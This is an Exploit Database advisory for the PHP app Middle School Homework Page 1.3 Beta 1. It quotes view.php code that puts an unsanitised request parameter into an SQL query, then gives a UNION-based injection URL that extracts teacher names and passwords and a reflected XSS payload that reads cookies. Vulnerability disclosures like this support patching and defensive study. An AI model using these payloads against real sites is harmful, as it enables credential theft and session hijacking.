Middle School Homework Page 1.3 Beta 1 – Multiple Vulnerabilities

• Exploit Database
• 11 阅读

• 作者： AtT4CKxT3rR0r1ST
  日期： 2014-01-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/30786/

• Middle School Homework Page V1.3 Beta 1- Multiple Vulnerabilties
  ===================================================================
  
  ####################################################################
  .:. Author : AtT4CKxT3rR0r1ST
  .:. Contact: [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
  .:. Home : http://www.iphobos.com/blog/
  .:. Script : http://sourceforge.net/projects/mshwpage/
  ####################################################################
  
  I. Sql Injection
  
  ##############
  VULNERABILITY
  ##############
  /view.php (line 3-4)
  -----------------------------------------------------------------------------
  
  <h2>Homework for <?php get_array("select * from class where
  classID=$_REQUEST[class]", 'classDesc') ?> as of <?php $today = date("M j
  G:i:s T Y");echo $today; ?>:</h2>
  <?php
  
  -----------------------------------------------------------------------------
  
  #########
  EXPLOIT
  #########
  (
  localhost/mshwpage/view.php?class=null+and+1=2+union+select+1,concat(name,0x3a,pass)+from+teachinfo
  
  
  II. Cross Site Scripting
  
  localhost/mshwpage/view.php?class=<script>alert(document.cookie);</script>
  
  ####################################################################